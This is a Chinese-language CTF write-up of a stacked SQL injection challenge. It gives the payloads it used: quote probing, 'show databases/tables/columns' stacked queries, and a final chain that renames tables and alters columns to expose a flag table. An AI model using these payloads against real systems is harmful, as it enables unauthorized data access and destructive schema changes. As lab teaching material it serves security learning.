题目:
这玩意,就SQL注入呗
好习惯,看眼前端代码,也没啥
那万能钥匙试试呗,下面我尝试了:
a or 1=1 #
a' or 1=1 #
a" or 1=1 #
上述三种类型,唯有a' or 1=1 #
出现了回显,如下图:
然后1,2,3order by浅试一下,试出数据表的属性列为2列
之后尝试:
1’ union select 1,2#
嗯嗯,select ,update等等显示被过滤掉了。
这题的新姿势是(大佬说)是通过;
注入多条SQL语句,那我们下面来尝试一下;
要payload其实是;
1'; show databases; #
但我开始在想传入SQL语句的结构,为什么前面是1’呢(加个;后面这个语句不结束了嘛),然后想明白了,比如说
select id from student where id=‘???’;
我放1进去,就是:select id from student where id=‘1’;<正常>
我放1;进去,就是:select id from student where id=‘1;’;<表明查id是’1;‘的,那肯定不行呐>
我放1’;进去,就是:select id from student where id=‘1’;‘;<表明查id是1,后面紧接着;,这句就结束了,后面自带的’;等就不管了,因为后面自带的和;会形成一个新的无意义的SQL语句>(这都我自己想的哈,但还有个存疑,这个新SQL语句不会报错嘛)
总之,payload完,结果:
(细心的读者发现,我这靶场url变了哈哈,因为中间没一次性写完,但不影响学习和操作)
1'; show databases; #
他的意思,是前面注销了SQL原有的一些语句,后面我们注入了show databases;的语句,使靶场的数据库全部显现出来,#
是注释掉他原本自带后面的其他SQL语句
所以我们从结果中可以看到:
好,执行下一步,他查询select xx from xxtablexx where xxxx–
那咱看看他用的是哪个数据库,我们看这数据库里的表;
payload:
0’; show tables; #
俩表,那咱看看他某个表里的属性(这里from,我们就选择words):
payload:
1’; show columns from words; #
好像没什么东西欸,那咱看看另一个表呗:
payload:
0'; show columns from `1919810931114514 `; #
兄弟们不好意思哈,这个注入语句我没试出来
下面这个ok的:
payload:
1’; rename table words to word1; rename table
1919810931114514
to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
注意1919810931114514这个表要反引号括起来,我在CSDN的mark编辑他就当某种标识了,原语句下面有截图:
结果:
我这最后对上面最后的payload记录解释:
1';
和#
不解释了
-
rename table words to word1;
这句话的意思是将名为 “words” 的表重命名为 “word1”。通过执行此命令,表名将从 “words” 更改为 “word1”。 -
rename table ‘1919810931114514‘ to words;
这句话是将名为 “1919810931114514” 的表重命名为 “words”。通过执行此命令,表名将从 “1919810931114514” 更改为 “words”。 -
alter table words add id int unsigned not Null auto_increment primary key;
这句话的意思是在 “words” 表中添加一个名为 “id” 的列。该列的数据类型是无符号整数(int unsigned),不能为空(not null),并且是一个自增长的主键(auto_increment primary key)。 -
alter table words change flag data varchar(100);
这句话的意思是修改 “words” 表中名为 “flag” 的列的属性。将列的数据类型从原来的类型更改为 varchar(100),即字符串类型,最大长度为100个字符。